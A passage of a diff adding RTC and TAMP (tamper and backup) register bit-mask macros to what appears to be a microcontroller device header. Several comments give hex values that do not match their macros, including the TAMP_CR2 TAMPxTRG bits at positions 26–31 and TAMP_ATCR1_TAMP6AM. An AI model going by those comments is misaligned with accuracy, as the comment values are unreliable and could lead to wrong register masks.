RTC_SR_TSOVF_Pos (4U) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5U) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6U) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0U) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1U) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2U) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3U) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4U) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5U) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6U) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0U) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1U) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2U) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3U) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4U) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5U) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6U) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0U) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1U) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2U) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3U) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4U) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5U) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6U) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_OR register ******************/ +#define RTC_OR_OUT2_RMP_Pos (0U) +#define RTC_OR_OUT2_RMP_Msk (0x1UL << RTC_OR_OUT2_RMP_Pos) /*!< 0x00000001 */ +#define RTC_OR_OUT2_RMP RTC_OR_OUT2_RMP_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0U) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0U) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0U) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1U) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2U) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3U) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4U) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5U) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6U) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7U) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16U) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17U) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00020000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18U) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP4E_Pos (19U) +#define TAMP_CR1_ITAMP4E_Msk (0x1UL << TAMP_CR1_ITAMP4E_Pos) /*!< 0x00080000 */ +#define TAMP_CR1_ITAMP4E TAMP_CR1_ITAMP4E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20U) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21U) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22U) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23U) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24U) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26U) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27U) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x08000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28U) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x10000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk +#define TAMP_CR1_ITAMP15E_Pos (30U) +#define TAMP_CR1_ITAMP15E_Msk (0x1UL << TAMP_CR1_ITAMP15E_Pos) /*!< 0x40000000 */ +#define TAMP_CR1_ITAMP15E TAMP_CR1_ITAMP15E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0U) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1U) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2U) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3U) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4U) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5U) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6U) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7U) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16U) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17U) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18U) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22U) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00400000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23U) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24U) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25U) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26U) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27U) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28U) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29U) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30U) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31U) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0U) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1U) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2U) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP4NOER_Pos (3U) +#define TAMP_CR3_ITAMP4NOER_Msk (0x1UL << TAMP_CR3_ITAMP4NOER_Pos) /*!< 0x00000008 */ +#define TAMP_CR3_ITAMP4NOER TAMP_CR3_ITAMP4NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4U) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5U) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6U) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7U) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000080 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8U) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10U) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000400 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11U) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12U) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00001000 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk +#define TAMP_CR3_ITAMP15NOER_Pos (14U) +#define TAMP_CR3_ITAMP15NOER_Msk (0x1UL << TAMP_CR3_ITAMP15NOER_Pos) /*!< 0x00004000 */ +#define TAMP_CR3_ITAMP15NOER TAMP_CR3_ITAMP15NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0U) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3U) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5U) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7U) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0U) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1U) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2U) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3U) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4U) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5U) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6U) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7U) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8U) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10U) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12U) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14U) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16U) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24U) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30U) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << 